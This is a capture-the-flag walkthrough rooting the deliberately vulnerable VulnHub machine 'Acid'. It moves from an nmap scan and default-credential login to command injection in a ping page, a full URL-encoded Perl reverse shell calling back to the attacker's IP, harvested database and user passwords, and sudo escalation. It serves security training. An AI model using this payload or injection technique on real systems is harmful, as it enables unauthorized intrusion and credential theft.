Mission : Get the root flag on `Acid` which is a deliberately vulnerable virtual machine hosted at https://www.vulnhub.com/. The virtual machine can be downloaded at https://www.vulnhub.com/entry/acid-server,125/. I quickly loaded up the virtual machine into my VMWare Player and i was good to go !
Detailed Steps for getting root:
A nmap scan of the box reveals only one service running on a non default port. It seems that there is only this http service running on the box.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nmap -p 1-65500 -v -A 192.168.116.131 | |
| Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-27 10:04 EST | |
| NSE: Loaded 118 scripts for scanning. | |
| NSE: Script Pre-scanning. | |
| Initiating ARP Ping Scan at 10:04 | |
| Scanning 192.168.116.131 [1 port] | |
| Completed ARP Ping Scan at 10:04, 0.00s elapsed (1 total hosts) | |
| Initiating Parallel DNS resolution of 1 host. at 10:04 | |
| Completed Parallel DNS resolution of 1 host. at 10:04, 13.00s elapsed | |
| Initiating SYN Stealth Scan at 10:04 | |
| Scanning 192.168.116.131 [65500 ports] | |
| Discovered open port 33447/tcp on 192.168.116.131 | |
| Completed SYN Stealth Scan at 10:04, 1.03s elapsed (65500 total ports) | |
| Initiating Service scan at 10:04 | |
| Scanning 1 service on 192.168.116.131 | |
| Completed Service scan at 10:04, 11.02s elapsed (1 service on 1 host) | |
| Initiating OS detection (try #1) against 192.168.116.131 | |
| NSE: Script scanning 192.168.116.131. | |
| Initiating NSE at 10:05 | |
| Completed NSE at 10:05, 0.08s elapsed | |
| Nmap scan report for 192.168.116.131 | |
| Host is up (0.00059s latency). | |
| Not shown: 65499 closed ports | |
| PORT STATE SERVICE VERSION | |
| 33447/tcp open http Apache httpd 2.4.10 ((Ubuntu)) | |
| |_http-methods: GET HEAD POST OPTIONS | |
| |_http-title: /Challenge | |
| MAC Address: 00:0C:29:CF:6D:41 (VMware) | |
| Device type: general purpose | |
| Running: Linux 3.X | |
| OS CPE: cpe:/o:linux:linux_kernel:3 | |
| OS details: Linux 3.11 - 3.14 | |
| Uptime guess: 0.293 days (since Wed Jan 27 03:03:41 2016) | |
| Network Distance: 1 hop | |
| TCP Sequence Prediction: Difficulty=261 (Good luck!) | |
| IP ID Sequence Generation: All zeros | |
| TRACEROUTE | |
| HOP RTT ADDRESS | |
| 1 0.59 ms 192.168.116.131 |
Upon accessing the http service on the port 33447 we are presented with a "Welcome to the world of acid" webpage.
 |
| Acid Page |
Our first instinct it to always view the source code of the page to see if there is anything interesting and sure enough we are lucky as in this case we find a hidden comment - "643239334c6d70775a773d3d". It seems that its in hex . We convert hex to ascii to get "d293LmpwZw==" . The == sign at the end tells us that its base64 encoded. We are quickly able to decode the string as wow.jpg. ! Lets see if we can use this image later.
We also see that the page title is "/Challenge" which tells us that such a folder may exist on the webserver. When we visit the /Challenge folder on the webserver we see a login page prompting for an email address and password. We cant do much now so we use dirbuster against the webserver. Our dirbuster tells us there are some interesting files and folders on the webserver.
 |
| Dirbusting /Challenge directory |
We also interact with the login page via the burp suite to understand better the way the form interacts with the backend webserver. We can see that the form converts the password into a hash using a api from the includes javascript files namely sha512.js and forms.js. We try to look into these files and see that these files are infact part of a php login system called "phpSecureLogin" https://github.com/peredurabefrog/phpSecureLogin. It seems that the project has been abandoned but we find that the github page (https://github.com/peredurabefrog/phpSecureLogin) lists default credentials (email : test@example.com Password: 6ZaxN2Vzm9NUJT2y ) built into the login system. We use it and we are successfully able to bypass the login screen !
 |
| Login form showing the includes javascript files |
Once we login we have a look at all the files that are listed by the dirbuster. When we view the cake.php we see that the page title changes to /Magic_Box hinting that there may be something with that name on the webserver.
It seems that we dont have the permission to view the /Challenge/Magic_Box directory but we run a dirbuster against it to see if it reveals anything.
 |
| Dirbusting /Magic_Box directory |
We are able to find a bunch on interesting files such as low.php, tails.php , command.php etc. It seems that command.php is a console that allows us to ping another IP. We suspect a command injection vulnerability here and hence besides providing a IP address we provide another command such as "id" with the assumption that the backend code will not sanitize the input and not limit execution to a single IP address command.
 |
| Command injection |
Sure enough we can see that our code is being executed.
Once we can execute code on the server we attempt to get a reverse shell. We reference the reverse shell cheat sheet http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and select the perl reverse shell after checking that nc though installed does not support the -e option. To be able to use the perl reverse shell we must url enocde it and also since the length of the IP address field is set to max 200 we need to intercept the request in burp before forwarding it to the webserver.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| URL encoder perl reverse shell : http://meyerweb.com/eric/tools/dencoder/ | |
| perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.116.128%22%3B%24p%3D4646%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27 |
 |
| Burp intercept |
Sure enough we get our low priv shell !
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nc -lvnp 4646 | |
| listening on [any] 4646 ... | |
| connect to [192.168.116.128] from (UNKNOWN) [192.168.116.131] 38795 | |
| /bin/sh: 0: can't access tty; job control turned off | |
| $ whoami | |
| www-data | |
| $ id | |
| uid=33(www-data) gid=33(www-data) groups=33(www-data) | |
| $ uname -a | |
| Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux | |
| $ |
Privilege Escalation :
Escalating privileges on the box takes quite a long time. Once we have a low shell we peep into all the file present in the Challenge and Magic box directories. We see that the box is running a MySQL service and the file psl-config.php contains the database password.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $ cat psl-config.php | |
| <?php | |
| define("HOST", "localhost"); // The host you want to connect to. | |
| define("USER", "root"); // The database username. | |
| define("PASSWORD", "mehak"); // The database password. | |
| define("DATABASE", "secure_login"); // The database name. | |
In the database we check the secure_login database to find a few users and their password hashes and password salts. We are able to crack the hashes ( saman & Vivek) but since the passwords are salted we wont be able to crack it. At this point we give up on the database. We slowly follow the priv escalation guide https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ till we finally see an interesting file on the box via enumerating all the files for the user acid and user Vivek on the box.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $ find / -user acid 2>/dev/null | |
| /sbin/raw_vs_isi/hint.pcapng | |
| /bin/pwn_me | |
| /bin/pwn_me/chkrootkit.lsm | |
| /bin/pwn_me/chkrootkit | |
| /bin/pwn_me/README.chkwtmp | |
| /bin/pwn_me/ACKNOWLEDGMENTS | |
| /bin/pwn_me/chkdirs.c | |
| /bin/pwn_me/ifpromisc.c | |
| /bin/pwn_me/Makefile | |
| .................. | |
| ................... |
The pcap file is interesting and we download it and open it in wireshark. We guess that we should look into the TCP communication captured on the network interface and hence set the wireshark filter to the same. Then we follow the TCP stream to see the data exchanged in the session. And sure enough we get our next clue.
Looking at the message we guess the user saman password. Also always check if the user is in the sudoers list. This gives us root !
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| www-data@acid:/sbin/raw_vs_isi$ su saman | |
| su saman | |
| Password: 1337hax0r | |
| saman@acid:/sbin/raw_vs_isi$ id | |
| id | |
| uid=1001(saman) gid=1001(saman) groups=1001(saman) | |
| saman@acid:/sbin/raw_vs_isi$ whoami | |
| whoami | |
| saman | |
| saman@acid:~$ | |
| saman@acid:~$ sudo /bin/bash | |
| sudo /bin/bash | |
| [sudo] password for saman: 1337hax0r | |
| root@acid:~# | |
| root@acid:~# id | |
| id | |
| uid=0(root) gid=0(root) groups=0(root) | |
| root@acid:~# |
